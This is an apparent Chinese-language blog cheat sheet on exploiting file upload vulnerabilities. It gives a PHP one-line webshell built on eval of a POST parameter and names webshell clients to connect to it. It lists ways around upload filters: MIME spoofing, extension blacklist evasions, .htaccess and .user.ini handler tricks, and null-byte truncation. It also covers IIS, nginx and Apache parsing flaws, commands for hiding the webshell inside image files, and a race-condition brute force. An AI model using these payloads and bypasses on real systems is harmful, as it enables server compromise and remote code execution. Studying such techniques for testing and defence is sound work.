文件上传漏洞

文件上传漏洞

0.1 一句话木马的使用

<?php eval($_POST['pass'])?>

传入成功后可以用中国菜刀或者蚁剑连接,

测试可用<?php phpinfo();?>

1.1 前端拦截

关闭浏览器javascript功能后上传即可

1.2 MIME文件类型拦截

用bp抓包,将Content-Type后内容改为image/jpeg

Content-Type: image/jpeg

1.3 关键字黑名单拦截

黑名单判断,凡是出现在黑名单的都不让过

  • 尝试更改同义后缀

​ .php => .php3 .php4 .php5 .pht .phtml

  • 大小写绕过

    .php => .pHp

  • 空格,点绕过

    .php => .pHp. .

  • 若是删除黑名单中的内容,双写绕过即可

1.4 图片内容检测绕过

  • .htassess绕过

    <FilesMatch “xx”>SetHandler application/x-httpd-php </FilesMatch>

  • .user.ini绕过

    auto_prepend_file=xx.jpg

  • 二次渲染

    对一个图片渲染,然后对比那些地方不会修改,将木马写入

1.5 白名单检测绕过

加入截断字符xx.php%00.jpg

POST包中将%00进行urldecode

1.6 截断上传绕过

IIS6/7/7.5解析漏洞,nginx低版本解析漏洞

IIS 5.x/6.0 test.asp/1.jpg muma.asp;.jpg IIS xxx/1.jpg/1.php

nginx低版本解析漏洞

Nginx xxx/1.jpg/1.php xxx/1.jpg%00php xxx/1.jpg%20%00php%20 ⇒ xxx/1.jpg \0php

Apache

1.php.jpg.png从后面向前只有php可以被解析

1.7 压缩绕过

php发现.7z .zip .rar .gz压缩文件,会自动解压执行

x.php.7z可以当做php执行

2.1.1 图片木马

图片木马必须配合文件包含使用
http://127.0.0.1/include.php?file=upload/muma.jpg

2.1.2 图片木马制作

法一:

windows cmd
copy tu.jpg /b+muma.php /a 2.jpg

linux
cat tu.jpg muma.php > 2.jpg

法二:
GIF89a

保存为gif格式

法三:

使用c32软件,打开图片拉到最下面,把木马的代码复制进去

2.1.3 二次渲染绕过

不推荐使用png和jpg,使用gif

制作一个gif图,丢进去看看渲染了什么地方没有变,把一句话木马放在那个地方

同样使用c32

3.1 bp爆破

若是先存放文件,然后看看是否合法,不合法删掉

可以使用bp的intruder模块爆破

bp抓包–右键—send to intruder–payload选择number,10000次,总有一次在的 Xp


文件上传漏洞
http://example.com/2023/10/24/文件上传漏洞/
Author
w1t2f3
Posted on
October 24, 2023
Licensed under